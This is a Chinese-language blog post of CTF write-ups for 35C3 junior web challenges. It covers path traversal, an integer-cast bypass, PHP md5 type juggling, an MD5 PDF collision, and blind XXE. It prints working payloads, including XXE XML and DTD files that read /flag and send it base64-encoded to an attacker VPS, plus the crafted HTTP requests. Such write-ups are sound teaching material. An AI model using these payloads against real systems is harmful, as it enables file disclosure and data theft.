Hu3sky's blog

35C3 CTF 部分解题记录(junior)

Word count: 2,186 / Reading time: 11 min
2019/01/07 Share

35C3 CTF 部分解题记录(junior)

题目链接:junior.35c3ctf.ccc.ac

flags(37points)

1
2
3
4
5
6
7
8
9

<?php
  highlight_file(__FILE__);
  $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot';
  $lang = explode(',', $lang)[0];
  $lang = str_replace('../', '', $lang);
  $c = file_get_contents("flags/$lang");
  if (!$c) $c = file_get_contents("flags/ot");
  echo '<img src="data:image/jpeg;base64,' . base64_encode($c) . '">';

根据代码来看,lang变量,也就是获取的Accept-Language ,这个在发送包里能够修改
1
1
可以发现,他会尝试去打开flags/$lang这个文件,于是我们可以控制这个$lang变量,但是用
str_replace('../', '', $lang); 进行了处理,这个挺好绕过
Accept-Language: ..././..././..././..././flag
get flag
35c3_this_flag_is_the_be5t_fl4g

McDonald(44points)

在robots.txt文件下发现备份文件
35.207.132.47:85/backup/.DS_Store
直接用工具扫备份
1
扫到目录下有一个flag.txt
直接打开,就是flag
35c3_Appl3s_H1dden_F1l3s

Not(e) accessible(55points)

主页上可以
1
必须要求是纯字母
如果是字母,就会给你一个链接,访问后会显示你输入的东西
1
1
右键发现源码泄露,下载,关键代码
app.rb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
require 'sinatra'
set :bind, '0.0.0.0'

get '/get/:id' do
File.read("./notes/#{params['id']}.note")
end

get '/store/:id/:note' do
File.write("./notes/#{params['id']}.note", params['note'])
puts "OK"
end

get '/admin' do
File.read("flag.txt")
end

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
require_once "config.php";

if(isset($_POST['submit']) && isset($_POST['note']) && $_POST['note']!="") {
$note = $_POST['note'];

if(strlen($note) > 1000) {
die("ERROR! - Text too long");
}

if(!preg_match("/^[a-zA-Z]+$/", $note)) {
die("ERROR! - Text does not match /^[a-zA-Z]+$/");
}

$id = random_int(PHP_INT_MIN, PHP_INT_MAX);
$pw = md5($note);

# Save password so that we can check it later
file_put_contents("./pws/$id.pw", $pw);

file_get_contents($BACKEND . "store/" . $id . "/" . $note);

echo '<div class="shadow-sm p-3 mb-5 bg-white rounded">';
echo "<p>Your note ID is $id<br>";
echo "Your note PW is $pw</p>";

echo "<a href='/view.php?id=$id&pw=$pw'>Click here to view your note!</a>";
echo '</div>';
}
?>

view.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php header("Content-Type: text/plain"); ?>
<?php
require_once "config.php";
if(isset($_GET['id']) && isset($_GET['pw'])) {
$id = $_GET['id'];
if(file_exists("./pws/" . (int) $id . ".pw")) {
if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) {
echo file_get_contents($BACKEND . "get/" . $id);
} else {
die("ERROR!");
}
} else {
die("ERROR!");
}
}
?>

从代码中flag在/admin下
发现

1
2
3
if(file_exists("./pws/" . (int) $id . ".pw")) {
if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) {
echo file_get_contents($BACKEND . "get/" . $id);

这里有打开文件的操作
可以看到,先是会检测我们的id是否正确,接着去打开get/$id. 而这个id参数是我们可控的,如何绕过这个(int)去打开admin目录呢
我们在php下做了一个测试(换行有点问题。。凑合着看看)
1
(int)12345/../../admin 进行处理后变成了12345也就是说 这样就可以绕过前面的两个if检测了
于是我们在主页随便写一个正确的字符串,如abc,得到一个id
接着修改id为6349362579628067869/../../admin
即访问 http://35.207.132.47:90/view.php?id=6349362579628067869/../../admin&pw=0cc175b9c0f1b6a831c399e269772661
得到flag

saltfish(62points)

简单粗暴的源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
  require_once('flag.php');
  if ($_ = @$_GET['pass']) {
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (md5($_) + $_[0] == md5($ua)) {
      if ($_[0] == md5($_[0] . $flag)[0]) {
        echo $flag;
      }
    }
  } else {
    highlight_file(__FILE__);
  }

如何获得flag?
$_是为我们传进去的pass参数 $ua是UA头,可控,也就是说 这两个参数都是我们可控的
第一个判断 MD5后的$_参数+$_参数的第一个元素要等于MD5后的$ua参数
进入第二个判断。$_的第一个元素要等于MD5后的$_第一个元素拼接上$flag参数的第一个元素
md5($_) + $_[0] == md5($ua)
在php中字母加字母=0字母加数字=数字

于是我们令$_为数组,md5($_)返回null,接着,令其开头为字母,于是,字母加上0就等于0,然后令md5($ua)为0e开头的,于是0e==0,返回TRUE

接着就是绕过第二个判断,这个就需要去fuzz了
最后的pass[]=b
1

collider (86points)

右键发现源码
http://35.207.132.47:83/src.tgz
关键代码
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include_once "config.php";
if(isset($_POST['submit'])) {
$pdf1 = $_FILES['pdf1']['tmp_name'];
$pdf2 = $_FILES['pdf2']['tmp_name'];

if(! strstr(shell_exec("pdftotext $pdf1 - | head -n 1 | grep -oP '^NO FLAG!$'"), "NO FLAG!")) {
die("The first pdf does not contain 'NO FLAG!'");
}

if(! strstr(shell_exec("pdftotext $pdf2 - | head -n 1 | grep -oP '^GIVE FLAG!$'"), "GIVE FLAG!")) {
die("The second pdf does not contain 'GIVE FLAG!'");
}

if(md5_file($pdf1) != md5_file($pdf2)) {
die("The MD5 hashes do not match!");
}

echo "$FLAG";

}
?>

代码的意思是:
我们上传的两个pdf,一个文件内容是NO FLAG!
另一个文件内容是GIVE FLAG!
同时文件内容的md5加密值还需要一样,就能getflag

head -n 1 是获取第一行的内容
grep:
-o
指定-o是因为grep默认是显示匹配的那一行,我们只关心精确匹配的部分而不是整行
-P
表明后面的pattern是perl兼容正则表达式
md5_file
计算指定文件的 MD5 散列值

利用了哈希碰撞
hashclash

blind(93points)

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

<?php
  function __autoload($cls) {
    include $cls;
  }
  class Black {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#0d0d0d");
      if ($default) ini_set("highlight.default", "#0d0d0d");
      if ($keyword) ini_set("highlight.keyword", "#0d0d0d");
      if ($store) {
            setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }
  class Green {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#00fb00");
      if ($default) ini_set("highlight.default", "#00fb00");
      if ($keyword) ini_set("highlight.keyword", "#00fb00");
      if ($store) {
            setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }
  if ($_=@$_GET['theme']) {
    if (in_array($_, ["Black", "Green"])) {
      if (@class_exists($_)) {
        ($string = @$_GET['string']) || $string = false;
        ($default = @$_GET['default']) || $default = false;
        ($keyword = @$_GET['keyword']) || $keyword = false;
        new $_($string, $default, $keyword, @$_GET['store']);
      }
    }
  } else if ($_=@$_COOKIE['theme']) {
    $args = explode('-', $_);
    if (class_exists($args[0])) {
      new $args[0]($args[1], $args[2], $args[3], '');
    }
  } else if ($_=@$_GET['info']) {
    phpinfo();
  }
  highlight_file(__FILE__);

这里代码中用到了__autoload() 函数

1
2
3
4
5
class_exists :(PHP 4, PHP 5, PHP 7)
功能 :检查类是否已定义
定义 : bool class_exists ( string $class_name[, bool $autoload = true ] )
$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoload 为 true ,当 $autoload 为 true 时,会自动加载本程序中的 __autoload 函数;
当 $autoload 为 false 时,则不调用 __autoload 函数。

(看到__autoload()参数和class_exists便想到之前做过的一个代码审计的练习,Day-3-Snow-Flake,具体可参考mochazz师傅的MOCHAZZ)

由于$_变量是我们可控的,并且class_exists检测了这个参数是否是一个类,于是想到
SimpleXMLElementPHP内置的类进行XXE攻击

如果存在__autoload(),那么在使用class_exists()函数就会自动调用本程序中的__autoload()函数

根据代码,我们通过传参info
http://35.207.132.47:82/?info=1
查看phpinfo,存在SimpleXML,这也肯定了我们的思路是正确的
如果if ($_=@$_GET['theme'])通过get将SimpleXMLElement类传入,就会进行in_array()判断,所以说我们通过else if ($_=@$_COOKIE['theme']) COOKIE传入

看一下SimpleXMLElement的构造函数

1
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns= "" [, bool $is_prefix = FALSE ]]]] )

第一个data参数是我们要传入的恶意xml
第二个options为可选参数
第三个data_is_url参数是个boole值

于是第一个参数为
http://52.36.15.23:8881/hu3sky.xml
是我vps上构造读取flag的xml
hu3sky.xml:

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<x>&xxe;</x>

于是抓包并改包(关键点在COOKIE)

1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: 35.207.132.47:82
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
COOKIE: theme=SimpleXMLElement-http://vps/hu3sky.xml-2-1;

但是由于没有回显,所以我们需要重新构造payload

在vps服务器上放置
hu3sky.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://vps/hu3sky.dtd">

%sp;

%param1;

]>

<r>&exfil;</r>

hu3sky.dtd

1
2
3
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/flag>

<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://vps/?%data;'>">

然后去发包

1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: 35.207.132.47:82
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: theme=SimpleXMLElement-http://vps/hu3sky.xml-2-1;
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

需要注意的是
为了激活实体替换以实现XXE攻击,参数$options必须被设置为LIBXML_NOENT即cookie里第三个参数选择2。除此之外,参数$data_is_url需要被设置为true由于是boole型我将它设置为1,并让$data指向攻击者的,也就是我的vps上的hu3sky.xml文件
这里参考
挖洞经验 | 从PHP对象实例化到Blind XXE

直接通过页面的报错信息都可以拿到flag,base64解密即可
9

CATALOG
  1. 1. 35C3 CTF 部分解题记录(junior)
    1. 1.1. flags(37points)
    2. 1.2. McDonald(44points)
    3. 1.3. Not(e) accessible(55points)
    4. 1.4. saltfish(62points)
    5. 1.5. collider (86points)
    6. 1.6. blind(93points)